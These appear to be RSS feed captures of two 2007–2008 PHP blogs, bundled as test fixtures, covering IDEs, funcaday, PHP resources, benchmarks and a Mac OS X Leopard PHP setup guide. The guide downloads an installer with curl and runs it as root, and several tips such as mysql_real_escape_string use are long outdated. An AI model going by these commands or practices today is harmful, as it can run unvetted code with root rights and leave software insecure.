flip back and forth between Active State's <a href="http://activestate.com/Products/komodo_ide/">Komodo</a>, and Zend's <a href="http://www.zend.com/products/studio/studio55">Zend Studio</a> (the first generation). One of my favourite features of Zend Studio is the Code Analyzer, it basically reads through your code and tells you about all your bugs. No, I'm not talking about syntax errors, I'm talking about using variables before they were defined, an assignment in condition, variables only being used once, functions returning something sometimes and nothing other times. It helps you find those tiny annoying bugs that take you hours to find normally in less than a second. Anyways, it's great, it's something I flip over for.<br /> <br /> I miss it because it wont register... Tue, 04 Mar 2008 00:20:19 -0500 http://blog.preinheimer.com/index.php?/archives/266-guid.html Contest http://blog.preinheimer.com/index.php?/archives/265-Contest.html PHP http://blog.preinheimer.com/index.php?/archives/265-Contest.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=265 6 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=265 nospam@example.com (Paul Reinheimer) Hey all, if you like PHP and are looking for some fun stuff to just experiment with, why not try one of our contests? php|architect is launching regular PHP Programming contests, so take a look at our first running, <a href="http://c7y-bb.phparchitect.com/viewtopic.php?f=2&t=1108">a link parser</a><br /> <br /> Also, take a look at some of our new free great articles up at <a href="http://c7y.phparch.com/c/tag/ART">C7Y</a>. Sat, 23 Feb 2008 11:14:19 -0500 http://blog.preinheimer.com/index.php?/archives/265-guid.html Happy Valentines Day - The funcaday way http://blog.preinheimer.com/index.php?/archives/264-Happy-Valentines-Day-The-funcaday-way.html PHP http://blog.preinheimer.com/index.php?/archives/264-Happy-Valentines-Day-The-funcaday-way.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=264 0 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=264 nospam@example.com (Paul Reinheimer) I trust you've seen today's <a href="http://funcaday.com/">funcaday</a>, if not head over and look now. Want a custom one to share with someone you care about. Fill out the form <a href="http://funcaday.com/form.php">here</a>. It's a subtle effect though, they'll need to read it. <br /> <br /> Valid characters for names are just alphabetics and the underscore, sorry. <br /> <br /> You could also buy advertising, I'd like to eat this month.<br /> Thu, 14 Feb 2008 00:01:00 -0500 http://blog.preinheimer.com/index.php?/archives/264-guid.html Today's Funcaday http://blog.preinheimer.com/index.php?/archives/263-Todays-Funcaday.html PHP http://blog.preinheimer.com/index.php?/archives/263-Todays-Funcaday.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=263 9 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=263 nospam@example.com (Paul Reinheimer) I'm really restricted on space, so I wanted to present a counter point on today's <a href="http://funcaday.com/">funcaday</a>: Performance.<br /> <br /> The disadvantage with the escape for now, not for later approach is simple. If you save a user's post to the database, then that user's post is displayed 2,000 times there will be some serious differences. Under the approach I reccomend the post will be escaped with mysql_real_escape_string() once, and with htmlentiteis() 2,000 times. If you had escaped it twice in the first place those functions would have been called once each, saving you 1,999 calls to htmlentities.<br /> <br /> You will need to balance your security concerns with performance needs. <br /> <br /> <br /> Note: This blog post was written well in advance, I'm on vacation, don't have my laptop or internet, and it's likely that my cell phone won't even turn on. So replies may be a bit tardy. <br /> <br /> Note^2: But I'm not dumb, someone's looking after my server <img src="http://blog.preinheimer.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br /> <br /> Sat, 05 Jan 2008 01:21:00 -0500 http://blog.preinheimer.com/index.php?/archives/263-guid.html Merry Christmas http://blog.preinheimer.com/index.php?/archives/262-Merry-Christmas.html http://blog.preinheimer.com/index.php?/archives/262-Merry-Christmas.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=262 2 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=262 nospam@example.com (Paul Reinheimer) <!-- s9ymdb:3 --><img width="800" height="536" style="float: right; border: 0px; padding-left: 5px; padding-right: 5px;" src="http://blog.preinheimer.com/uploads/Christmas-Eau-Claire.jpg" alt="" /><br /> <br /> Talk to you in the new year. Tue, 25 Dec 2007 00:08:11 -0500 http://blog.preinheimer.com/index.php?/archives/262-guid.html Photoshop - Working with different pixel ratios http://blog.preinheimer.com/index.php?/archives/261-Photoshop-Working-with-different-pixel-ratios.html http://blog.preinheimer.com/index.php?/archives/261-Photoshop-Working-with-different-pixel-ratios.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=261 1 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=261 nospam@example.com (Paul Reinheimer) My grandparents are getting a digital photo frame for Christmas, they don't own a computer so the cat's not out of the bag. This digital frame has a stated resolution that's way off what you're looking at, the frame is like 16:9, but the pixel is... something else. I had a hard time working in Photoshop trying to prep the images for the system, since the pixels aren't square, they're rectangles, what looked good here looked like crap over there, etc. Then I found the pixel aspect ratio option under Image, created my own aspect ratio (using a ruler, and the pixel counts) and voila, I could now draw squares in photoshop that were square within the frame. <br /> <br /> I still had a problem, when I converted existing images over to the new ratio, they got squished, it showed me a preview (which is all it really does), but didn't resample the image to look right under the new ratio. The solution is pretty easy, open up image size, turn off constrain properties then divide the width by the pixel aspect ratio and apply. Your image is now stretched. Then apply the pixel aspect ratio, and it should look normal. Tue, 18 Dec 2007 15:46:51 -0500 http://blog.preinheimer.com/index.php?/archives/261-guid.html Get it Right or Get it Up. http://blog.preinheimer.com/index.php?/archives/260-Get-it-Right-or-Get-it-Up..html PHP http://blog.preinheimer.com/index.php?/archives/260-Get-it-Right-or-Get-it-Up..html#comments http://blog.preinheimer.com/wfwcomment.php?cid=260 4 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=260 nospam@example.com (Paul Reinheimer) When working on any web development project, you have two central choices, Get it Right, or Get it Up. While the same choices dominate development as a whole, the low cost, high speed, and largely transparent nature of updates on the web make getting it up more tempting. <br /> <br /> Getting it Right is what most developers strive for: clean code, easy to read, easy to use, easy to refractor. It's great, but it's not fast. I would even go as far to say that it's relatively easy to estimate how long it will take to develop something, but very difficult to estimate how long it will take to develop something "right". <br /> <br /> Getting it Up (pun unintentional) is when you release just as soon as things work (mostly). You get the code working in some manner that vaguely represents what you're actually hoping for, push it live, then fix things as they break, add new features as they're required. It's faster, but you don't get to have that grand release party as soon as the application goes live, as you're probably madly mashing the keyboard trying to fix all the bugs that your users are finding. <br /> <br /> (more after the jump) <br /><a href="http://blog.preinheimer.com/index.php?/archives/260-Get-it-Right-or-Get-it-Up..html#extended">Continue reading "Get it Right or Get it Up."</a> Sun, 16 Dec 2007 16:55:58 -0500 http://blog.preinheimer.com/index.php?/archives/260-guid.html Resources are "special" http://blog.preinheimer.com/index.php?/archives/259-Resources-are-special.html PHP http://blog.preinheimer.com/index.php?/archives/259-Resources-are-special.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=259 2 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=259 nospam@example.com (Paul Reinheimer) Working on <a href="http://funcaday.com">funcaday</a> I've spent a lot of time dealing with variables of the type resource in the past few weeks, after all GD images are held in variables of that type. I ran into some "functionality" of resources late last night that I initially chalked up to a bug, a variable of type resource went from being a resource of type GD to unknown while merely getting returned back a few steps. After some experimentation (and the inevitable epiphany while brushing my teeth) I've figured it out, and there's no bug. <br /> <br /> Here's a longish snippet explaining what I was encountering:<br /> <blockquote>class imageTest {<br /> private $image;<br /> public function __construct() {<br /> $this->image = imagecreatetruecolor(2,2);<br /> }<br /> public function getImage() {<br /> var_dump($this->image);<br /> return array($this->image);<br /> }<br /> public function __destruct() {<br /> imagedestroy($this->image);<br /> }<br /> }<br /> function test() {<br /> $x = new imageTest();<br /> $image = $x->getImage();<br /> var_dump($image);<br /> return $image;<br /> }<br /> <br /> $image = test();<br /> var_dump($image);<br /> </blockquote><br /> <br /> Which returns something like:<br /> <blockquote>resource(3, gd)<br /> resource(3, gd)<br /> resource(3, Unknown)<br /> </blockquote><br /> (more after the jump)<br /> <br /><a href="http://blog.preinheimer.com/index.php?/archives/259-Resources-are-special.html#extended">Continue reading "Resources are &quot;special&quot;"</a> Sat, 15 Dec 2007 19:08:52 -0500 http://blog.preinheimer.com/index.php?/archives/259-guid.html funcaday http://blog.preinheimer.com/index.php?/archives/258-funcaday.html PHP http://blog.preinheimer.com/index.php?/archives/258-funcaday.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=258 1 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=258 nospam@example.com (Paul Reinheimer) Sorry to everyone for the issues this evening, non-feed based users of the site should have seen everything up and working perfectly by 12:05am EST, while feed users needed to wait until almost 1:00am EST<br /> 1) Today's post posed a few issues, namely, it's the first weekend based post we've had so it's running through a different image creation path. <br /> 2) Since there's only one image for two days over the weekend, there's a whole bunch of code in various places to handle that. <br /> <br /> The Real Issue:<br /> I think I've found a bug in PHP. I didn't have time to develop a base case to prove it this evening (while the clock struck down towards midnight) but it seems as though resources can get mangled when being returned a few levels.<br /> <blockquote><br /> Generating Weekday!<br /> resource(532) of type (gd)<br /> resource(532) of type (Unknown)<br /> </blockquote><br /> <br /> <br /> If you're interested in presenting funcaday to anyone through a project of your own, I'd reccomend taking a look at the json feed. Either <a href="http://funcaday.com/json.xml">json.xml</a>, or <a href="http://funcaday.com/funcaday.json">funcaday.json</a>. The information is identical in those two files, the difference is really just the extension, Technically if you're using JS the XHR object wants a text/html content type, so I provide the .xml version to get Apache to give you that header, if you're using anything else, go for the .json. Let me know if there's anything else you'd like to see in there. <br /> <br /> One question for the mindful readers, in the RSS code I have:<br /> <blockquote><br /> file_put_contents('/path/funcaday.com/rss.xml.temp', $rss);<br /> rename('/path/funcaday.com/rss.xml.temp', '/path/funcaday.com/rss.xml');<br /> </blockquote><br /> Can anyone tell me why I would add the extra step? Do I actually need to do this, or is this just me following outdated practices? <br /> <br /> <br /> P.S. <br /> There's aparently a <a href="http://funcaday.blip.tv">video version</a> of funcaday by an anonymous... fan? Sat, 15 Dec 2007 01:03:59 -0500 http://blog.preinheimer.com/index.php?/archives/258-guid.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.procata.com-blog-feed-0000664000175000017500000013771712653701626025662 0ustar janjan Professional PHP http://www.procata.com/blog PHP Programming, Web Development, PHP Advocacy and PHP Best Practices. Tue, 27 May 2008 05:57:30 +0000 http://wordpress.org/?v=2.5.1 en php | tek Wrapup http://www.procata.com/blog/archives/2008/05/26/php-tek-wrapup/ http://www.procata.com/blog/archives/2008/05/26/php-tek-wrapup/#comments Tue, 27 May 2008 05:57:30 +0000 Jeff http://www.procata.com/blog/?p=290 I really enjoyed myself at this year’s php | tek. The conference seemed even better than last year. Here are the slides from my talks…

      Here are some of the books I mentioned…

      I’m already looking forward to next year.

      ]]>       http://www.procata.com/blog/archives/2008/05/26/php-tek-wrapup/feed/       php | tek 2008 http://www.procata.com/blog/archives/2008/05/20/php-tek-2008/ http://www.procata.com/blog/archives/2008/05/20/php-tek-2008/#comments Tue, 20 May 2008 16:17:31 +0000 Jeff http://www.procata.com/blog/archives/2008/05/20/php-tek-2008/ PHP ElephantWell, I’ve made it to PHP|tek in Chicago. I flew in last night, had a beer with Jason and then used the WiFi in the lobby to spin up an extra large EC2 instance (via RightScale) to do some benchmarks for one of my talks. I’m using the the XL instance because it it is not shared with other users.

      I’m still putting the final touches on my slides.

      I’m blogging this from Rob Richards’ Working With Web Services presentation. Oh yeah, I work with Rob. Oh yeah, since, I haven’t posted anything in six months … In January, I moved to San Francisco and started work at Mashery. I realized from talking with Jason last night that I really haven’t mentioned that here. They’ve been keeping me pretty busy, hence the lack of blogging.

      php|tek is on twitter. So, I’ve finally signed up there. I don’t get it. :)

      One last thing, Mashery is Hiring good PHP and Javascript programmers.

      ]]>       http://www.procata.com/blog/archives/2008/05/20/php-tek-2008/feed/       Sarah Snow Stever http://www.procata.com/blog/archives/2007/11/23/sarah-snow-stever/ http://www.procata.com/blog/archives/2007/11/23/sarah-snow-stever/#comments Sat, 24 Nov 2007 06:36:04 +0000 Jeff http://www.procata.com/blog/archives/2007/11/23/sarah-snow-stever/ Sarah

      I am very sad. Two weeks ago, my cousin Sarah had a stroke and died. She was 35, two years younger than me.

      As kids, Sarah and I, (along with her sister Rachel) would spend weeks in the summer staying at my grandparents house, playing and doing the things that ten year olds do on a farm. We sat around the campfire at family reunions. We played cards and games, talked and argued. I always looked forward to seeing all my cousins at holidays and family gatherings, but Sarah and Rachel were special then because they were closer to my age.

      As adults, Sarah and I also did stuff together on occasion. We still sat around the campfire at the family reunions and visited during the holidays. But, we also went to bars and restaurants, Sarah always knew the best bars. We went to Cedar Point and shared an automobile accident. She would cut my hair and I would fix her computer. But mostly, we just talked. Sarah was just plain easy to talk to and always interesting.

      In recent years Sarah moved to Atlanta to build a life for herself there. She opened a salon there and infused it with her character and personality. It was a place where she was at home and happy. I’m sure her clients felt happy and at home there as well. (A client remarks on Sarah’s passing)

      But, the most important thing about her move to Atlanta was meeting her husband, Kevin there. I’ve only met Kevin a few times, but the one thing that I know about him is that he made Sarah happy.

      I haven’t seen Sarah as much in the last few years. Atlanta is far from Michigan and she disliked flying. She came to fewer and fewer holiday functions. Despite her many invitations to visit Atlanta, I didn’t go.

      That is until September, when I went to the php|works conference in Atlanta. One of the reasons I wanted to go to the conference was to be able to see Sarah. After the conference, I stayed with her for a couple days.

      Sarah showed me her Salon and I could see how much she loved it. She introduced me to the dogs that she saved. We went out to eat and visited the local Atlanta attractions. But mostly, we talked. We talked about family, dating, kids and careers. We talked about her writing, the gym she liked, the church she had joined and the things she wanted to do.

      Sarah tried very hard to convince me to move to Atlanta. I think she felt that all I needed to do was to move there and I would meet the love of my life and l could live there happily to the end of my days. After all, she did.

      There is so much that I still want to do with Sarah. I feel like I’ve always taken it for granted that that she would be around for us to “do that later.” I guess not. I’ll miss Sarah.

      Sarah’s obituary.

      ]]>       http://www.procata.com/blog/archives/2007/11/23/sarah-snow-stever/feed/       Benchmarking PHP’s Magic Methods http://www.procata.com/blog/archives/2007/11/04/benchmarking-phps-magic-methods/ http://www.procata.com/blog/archives/2007/11/04/benchmarking-phps-magic-methods/#comments Mon, 05 Nov 2007 00:01:02 +0000 Jeff http://www.procata.com/blog/archives/2007/11/04/benchmarking-phps-magic-methods/ Larry Garfield has an interesting set of benchmarks covering many of PHP’s magic methods. His results correspond pretty well to my own benchmarks in the area. The thing to take away is that its not necessarily the overhead of the magic methods, but rather what you do inside them. Its hard to do anything useful inside a magic method, such as __get or __call that isn’t 10 to 20 times slower than the “non-magic” solution.

      There are probably more than a few naive programmers who would read results like this and start to avoid these constructs in their own code for performance reasons. These are the same kinds of people obsessing over a few single or double quotes, who eschew “slow” objects in favor of switch statements that are many times slower than the polymorphic method calls they are trying to avoid.

      But, that’s not the end of the story. Larry ran his benchmarks using 2,000,000 iterations. The N really matters here. Sure, iterators are slower than arrays, but you aren’t going to be iterating over two million things. I tend to fetch my database records in lots of 25 or 50. You aren’t going to be making two million invocations of __call. But how many will you make? Under what value of N does the performance of these techniques cease to matter? Is it ten, one hundred, one thousand, or ten thousand? You may be surprised at how few calls your program actually does and how little impact it has on performance.

      As Wez and Travis point out in their comments, profiling is the way to find out the potential impact and to discover your true N.

      Paul M. Jones has a good example of what I’m talking about. There, call_user_func_array appears to be a bottleneck, but it turns out that its the function being called, htmlspecialchars, not the calling process that consumes the balance of the time. In that case, the function was “only” called 300 times. I find that order of magnitude to be fairly typical. Something to be aware of, perhaps, but not something to obsess over.

      ]]>       http://www.procata.com/blog/archives/2007/11/04/benchmarking-phps-magic-methods/feed/       The Endpoints of the Scale of Stupidity on Video http://www.procata.com/blog/archives/2007/11/02/the-endpoints-of-the-scale-of-stupidity-on-video/ http://www.procata.com/blog/archives/2007/11/02/the-endpoints-of-the-scale-of-stupidity-on-video/#comments Fri, 02 Nov 2007 20:55:22 +0000 Jeff http://www.procata.com/blog/archives/2007/11/02/the-endpoints-of-the-scale-of-stupidity-on-video/ A quote from Cal Henderson (via simonwillison) presents a “Web Application Scale of Stupidity:”

      | OGF (One Giant Function) ---- Sanity ---- OOP (Object Oriented Programming) |

      The scale that Cal is talking about is actually better known as modularity:


      | Few large modules ---- Sanity? ---- Many Small Modules |

      If you haven’t listened to Alan Kay talk about the benefits of many small modules, you should do so now. Alan Kay coined the term Object Oriented. Love OO or hate OO, if you have an opinion on it, you should know what he was thinking. Hint, it wasn’t C++.

      On the other end of the scale, One Giant Function is generally known as Big ball of Mud(PDF) Here is Brian Foote’s presentation on the paper (read the paper first).

      ]]>       http://www.procata.com/blog/archives/2007/11/02/the-endpoints-of-the-scale-of-stupidity-on-video/feed/       Working with PHP 5 in Mac OS X 10.5 (Leopard) http://www.procata.com/blog/archives/2007/10/28/working-with-php-5-in-mac-os-x-105/ http://www.procata.com/blog/archives/2007/10/28/working-with-php-5-in-mac-os-x-105/#comments Mon, 29 Oct 2007 00:48:44 +0000 Jeff http://www.procata.com/blog/archives/2007/10/28/working-with-php-5-in-mac-os-x-105/ PHPMac OS X is a great development platform for working with PHP. Leopard comes with Apache, PHP and many other development tools, such as subversion already installed. Leopard brings a much needed upgrade from Tiger’s tired PHP 4 to a very modern version of PHP 5.2.4. This is a guide for setting up a PHP development environment under 10.5 using the version of PHP that ships with leopard.

      You may prefer to use one of the 3rd party distributions of PHP, such as MAMP, XAMPP or Marc Liyanage. This is a guide to using the version of PHP that comes with 10.5.

      Enable Developer Tools

      These steps may not be strictly necessary for this process, but I find it useful to do them.
      First, enable your root password.
      You may also want to install XCode Tools from your Leopard disk (or grab the latest from Apple developer tools). The tools are required is you are going to compile any extensions for PHP.

      Editing Configuration Files

      We will have to edit several configuration files that exist as part of the unixy underpinnings of OS X. I’m going to recommend the free text editor, TextWrangler for this purpose. Normally, the finder hides the configuration files from view. However, in the finder, you can use the “Goto Folder…” option under the “Go” menu to view these files. This option if available via command-shift-G. Actually, this option is available in any file open dialog in OS X via command-shift-G. In addition, Text Wrangler will allow you to browse these files with its “open hidden…” option. But, the much easier option is selecting “Open file by name…” (command-D) and just typing the full path and filename. To save many of these files, you will need to enter your root password. Be Careful.

      Enabling PHP

      PHP is installed in Mac OS X by default, but not enabled. To enable it, we must edit the apache 2 configuration file, which is located at /etc/apache2/httpd.conf. Find the line which loads the PHP 5 module, which looks like this:

      #LoadModule php5_module libexec/apache2/libphp5.so

      The line is currently commented out. All we have to do is remove the comment symbol, #, so the line looks like this:

      LoadModule php5_module libexec/apache2/libphp5.so

      Save.

      Starting Apache

      Go to the sharing panel in system preferences and enable “Web Sharing.” This will start the apache server.
      Sharing Panel
      Another way to do this is to type the following in the Terminal application:

      sudo apachectl start

      You will be prompted to enter your root password. After that, your apache server should now be running. If you need to restart the server from the terminal, you can type this:

      sudo apachectl restart

      If you find this tedious to type, there is a script that you can download to do this later in this post.

      Visiting our Web Site

      Now, lets check our work. In the sharing panel, you can click on the URL under “Your computer’s website.” Alternatively, in the web browser, go to the url http://localhost/. localhost is a special name that means “My computer.” If your web server is working, you should see a page titled “Test Page for Apache Installation.” If you go to http://localhost/manual/, you can read an Apache 2.2 manual, hosted from your own server. But, this don’t tell you that PHP is working.
      For that, we’ll have to create a very simple php program. Create a new file in TextWrangler and type the following:

       
< ?php phpinfo(); ?>
 

      (Don’t just copy and paste this. Note that there should be no space between the < and the ?php. The WordPress software I use for this blog inserts an extra space.)
      Save this using the file name info.php in the /Library/WebServer/Documents/ directory. (start from the top level directory of your hard drive, not the library directory in your home directory. Now you should be able to visit the PHP page you just created by visiting http://localhost/info.php. You should see the PHP logo and a big table of configuration information.

      Showing the World

      For security purposes, you should consider that anything you put in your WebServer/Documents folder will be available across the web. If you have information that you want to keep private, think twice about putting it there, unless you know how to protect it.
      But, if you want people to see the pages that you are sharing, there can be a few obstacles. You can give out the URL that is listed in the sharing control panel under “Your computer’s website.” However, if you are behind a NAT router, such as I am, this IP address based url will only work for other computers on your network and not for the internet as a whole. You may have to configure network router or firewall in order to discover your true ip address and to route web server requests to that IP to your computer. Doing this is beyond the scope of this tutorial.
      Additionally, IP address based urls don’t make good urls to share. IP addresses can change. If you plan to host a permanent web site, you may want to purchase a domain name and point it to your Mac. This also, is beyond the scope of this tutorial.
      Perhaps the best option is to purchase both a domain name and professional hosting. Apache based PHP Hosting is widely available and cheap. You can get support from a good host on uploading your files to the remote server. I’m going to presume that you will use one of the many excellent PHP hosting options and are only configuring PHP on your own machine for education, testing or development purposes.

      Enabling a Personal Website

      If you clicked on the URL under “Your Personal Website,” you might have gotten a page that says forbidden. This is because in the default configuration in Leopard, unlike in Tiger, does not allow Apache to serve documents from home directories. If you want to enable this feature, you have to create a new Configuration file.
      Create a new file with the following contents and save it to /etc/apache2/users/jeff.conf.

       
<directory "/Users/jeff/Sites">
    Options Indexes MultiViews FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from all
</directory>
 

      Replace “jeff” with your user name, which is also the name of your home directory. Exact capitalization is imporant. This tells the Apache server that it is ok to serve web content out of the ~jeff directory. You will have to restart Apache for this to take effect.
      You may also have to create a Sites folder in your home directory to hold the files you want to serve. Leopard will automatically bless this folder with a special Icon.

      Virtual Hosting

      If you want to experiment with or work on more than one site at a time, the single directory in WebServer Documents and the Personal Websites configuration don’t work well. Projects collide and files outside of your home directory can be harder to work with. The answer to this is to setup virtual hosting. Lets turn our Personal Website sharing solution into a virtual hosting solution that allows us to work with multiple websites as subdirectories of our Sites folder.
      So, lets create a sample site, called mysite. We’ll create a folder called “mysite” as a sub folder of our Sites folder. Capitalization is important.
      Now, we are going to want to access our site with an easy to use domain name, so that our url is http://mysite/. There is an easy way to create new domain names that are only for personal use. To do this, we can add it to our /etc/hosts file. Add the following lines at the end of this file:

      # My local aliases
      127.0.0.1 mysite

      127.0.0.1 is a special IP address designation that never changes and corresponds to localhost to mean this computer. We are telling our Mac that the name mysite is hosted on the local computer. This rule is only in effect on the same machine. If you go to a different machine, you cannot use the http://mysite/ url.
      Now we need to configure apache for virtual hosting. We are going to have to edit our /etc/apache2/users/jeff.conf file. Change the contents of this file to the following:

       
<directory "/Users/jeff/Sites/*/">
    Options Indexes MultiViews FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from all
</directory>
 
NameVirtualHost *:80
 
<virtualhost *:80>
    DocumentRoot /Users/jeff/Sites/mysite
    ServerName mysite
</virtualhost>
 

      Remember to replace “jeff” with your user name. Place your info.php test file into the mysite directory and rename it to index.php. Now, restart your apache server. When you visit http://mysite/, you should now see the familiar php logo and information page.
      If you want to add another site, just add a second line in your hosts file, another subdirectory of Sites and append the following to your apache configuration file:
       
<virtualhost *:80>
    DocumentRoot /Users/jeff/Sites/myothersite
    ServerName myothersite
</virtualhost>
 

      Sharing with the World, Part II

      Sharing your virtual hosted sites with the world is more complicated if you don’t have a domain name setup. You can, however, add your hosts files entries to other computers that you want to share with. However, you have to change the 127.0.0.1 IP address to the IP address of your computer, taking into account any NAT.
      There is a special case of this. If you are using parallels, perhaps for test viewing your pages in internet explorer, you may want your virtual hosted sites to be available. The good news is that Windows also supports a hosts file. Here is how to edit your windows hosts file. The big problem is knowing what IP address to use. You can’t use 127.0.0.1 on the windows side because that is the virtual windows machine, not your Mac’s address. You can use the IP address shown on your network system preferences panel, 192.168.1.100 for me. But, this number is subject to change and you will have to re-edit your hosts file on the windows side.
      If you are using Parellels, be sure to upgrade to the new beta version for Leopard, build 5540. Once you’ve done that, if you visit the network panel in system preferences and select the “Parallels Host-Guest” network, you will see the IP address that parallels assigns to your host machine. (assuming you are using Shared Networking.) You can then use this IP address in your windows hosts file. You may also be able to change “Using DHCP” to “Using DHCP with Manual address” and re-entering this number if you have a problem with the number changing. Here, my number is 10.37.129.3:

      Network Preferences panel

      Installing MySQL

      MySQL has a binary distribution for Mac OS X. They also have reasonably good documentation on installing MySQL on Mac OS X for their distribution. Note that Leopard specific packages for MySQL have not been created yet.

      Starting MySQL

      So far, the MySQL preferences panel from the Tiger release is broken and does not correctly start and stop MySQL (bug report. You can do this from the terminal window with

      sudo /usr/local/mysql/support-files/mysql.server start

      To shutdown the server type:

      sudo /usr/local/mysql/support-files/mysql.server stop

      If you find this tedious to type, you can download WebDevCP, which is a small AppleScript application that I made. Launching WebDevCP launches both Apache and MySQL. Quitting the application shuts them both down. usually. Launching and quitting requires a password. No warranty on this thing. It was just something I was using personally and figured others might find useful.

      Bring the mysql.sock to PHP

      One problem that has come about with MySQL and Leopard is the location of the mysql.sock file. Previously, the default location for this file was in the /tmp directory. That location has now moved to the /var/mysql directory. PHP will look for it there. Unfortunately, the default location from the MySQL will still place it in the old location. We can fix this by creating a my.cnf configuration file in the /etc directory. Save a file with the following contents to /etc/my.cnf:

      [client]
      socket = /var/mysql/mysql.sock

      [mysqld]
      socket = /var/mysql/mysql.sock

      In the terminal window, type the following commands to create the directory for the sock file:

      sudo mkdir /var/mysql
      sudo chown _mysql /var/mysql

      One drawback to this is that if you have installed the MySQL GUI tools, they will look for the mysql.sock file at the old location. You can enter the new socket in the connection dialog under More Options, there is a box labeled “connect using socket.” Just enter /var/mysql/mysql.sock.
      Another solution is to change the php.ini file to expect the socket in a different location. I’m going with the my.cnf option because I expect the MySQL will have a Leopard version out in a few days that changes the default location.

      Where is PEAR?

      OS X has traditionally had problems with PEAR. Many point updates would overwrite the included version of PEAR with an older, and perhaps insecure version. Sadly, Apple has fixed this by not including PEAR at all in their OS. This is a big inconvenience for people wanting to use Apple’s default version of PHP, versus a third party distribution. So, lets get PEAR installed. Type the following in the terminal window to download the PEAR installer:

      curl http://pear.php.net/go-pear > go-pear.php

      after that, type

      sudo php -q go-pear.php

      To run it. Hit enter to select the default locations. PEAR will be installed, but it won’t be ready to use until we modify our php.ini file.

      PHP .ini configuration

      Now we need to make some changes to our php configuration file. Leopard has an empty configuration file by default, but provides a file which you can use as a template. From the terminal window, type:

      sudo cp /etc/php.ini.default /etc/php.ini

      Now, edit the /etc/php.ini file. Find the include_path setting:

      ;include_path = ".:/php/includes"

      And change it to

      include_path = ".:/usr/share/pear"

      This enables our PEAR installation. You may also want to make some changes which will improve your ability to debug PHP. FInd the line that says

      log_errors = Off

      and change it to

      log_errors = On

      You have to then restart Apache for these PHP changes to go into effect.

      Errors and Omissions

      Thats all there is to using the version of PHP delivered with OS X. If you find this confusing, you are probably better off with something like XAMPP or MAMP. I’ll probably end up compiling my own versions of PHP, but that is a different blog post. I’ve already had problems with this configuration when I tried to install XDebug via PECL. One last thing, if you run into problems, you can check the apache2 error_log file using the Console application.

      For support, try the Sitepoint forums or Apple’s Discussion Forums.

      ]]>       http://www.procata.com/blog/archives/2007/10/28/working-with-php-5-in-mac-os-x-105/feed/       Keywords and Language Simplicity http://www.procata.com/blog/archives/2007/10/11/keywords-and-language-simplicity/ http://www.procata.com/blog/archives/2007/10/11/keywords-and-language-simplicity/#comments Thu, 11 Oct 2007 18:38:26 +0000 Jeff http://www.procata.com/blog/archives/2007/10/11/keywords-and-language-simplicity/ Well, I like programming language comparisons, so how could I resist this chart (via) promoting the simplicity of the io language by pointing out how few keywords it has. The interesting thing about this is that Java and PHP are tied on this measure of simplicity with 53 keywords. Perhaps that reflects Java’s heritage as a simplification of C++ (63 keywords) and PHP’s heritage as an amplification of C (37 keywords) toward a specific purpose? As usual, Perl is the poster child for language complexity. Ruby does well with 40 keywords. But, before the Ruby fans get too uppity about the simplicity of their language, they should contemplate the cat walked across the keyboard while I was holding down the shift key predefined variables that they inherited from Perl.

      ]]>       http://www.procata.com/blog/archives/2007/10/11/keywords-and-language-simplicity/feed/       Improved Error Messages in PHP 5 http://www.procata.com/blog/archives/2007/10/07/improved-error-messages-in-php-5/ http://www.procata.com/blog/archives/2007/10/07/improved-error-messages-in-php-5/#comments Sun, 07 Oct 2007 22:13:04 +0000 Jeff http://www.procata.com/blog/archives/2007/10/07/improved-error-messages-in-php-5/ Sometimes its the little things that make a difference. If you run the this test program in PHP 4 (tested on 4.4.7):
      < ?php
function test($arg) { echo "talk like a pirate."; }
test();
?>

      You get the following message:

      Warning: Missing argument 1 for test() in /usr/bin/- on line 2

      The error message here is reported at the position of the definition of the function, but really the error was in how the function was called. The required parameter to test was not passed. This error can be annoying, forcing you to consult a stack trace to find the actual error location. Something some beginners may not know how to do.

      However, if you run the same message in PHP 5 (tested on 5.2.2):

      Warning: Missing argument 1 for test(), called in /Users/jeff/- on line 3 and defined in /Users/jeff/- on line 2

      Sweet improvement!

      One more reason to ditch PHP 4 and go php 5.

      ]]>       http://www.procata.com/blog/archives/2007/10/07/improved-error-messages-in-php-5/feed/       Michigan Taxes Graphic Design Services http://www.procata.com/blog/archives/2007/10/01/michigan-taxes-graphic-design-services/ http://www.procata.com/blog/archives/2007/10/01/michigan-taxes-graphic-design-services/#comments Mon, 01 Oct 2007 21:23:57 +0000 Jeff http://www.procata.com/blog/archives/2007/10/01/michigan-taxes-graphic-design-services/ The state of Michigan, in a bid to become the most confusing state to operate a business in, has passed a sales tax on a bizarrely random selection of services. These services include such illustrious professions as astrology services, social escort services, and graphic design services.

      The enumerated list of taxable services (sec 3d) (PDF) lists “Specialized design services, as described in NAICS industry group code 5414.” The 5414 designation includes “planning, designing, and managing the production of visual communication in order to convey specific messages or concepts, clarify complex information, or project visual identities. These services can include the design of printed materials, packaging, advertising, signage systems, and corporate identification (logos).”

      Custom programming, web design and hosting services are not taxed (they have NCAIS codes outside of the enumerated ranges). However, a service such as logo design would be taxable.

      To do the right thing, as I understand it, and I am SO NOT A LAWYER…

      A Michigan business offering a mix of services must collect the tax on the graphic design component of their services.

      A graphic designer in Michigan must have a sales tax license and collect the tax as appropriate.

      A Michigan based consumer of out of state graphic design services must report their graphic design purchases and pay the tax.

      Meanwhile, Michigan has the worst unemployment rate in the nation and is the worst state for creating new businesses.

      I’m glad 541511: Custom Programming Services was spared from the tax.

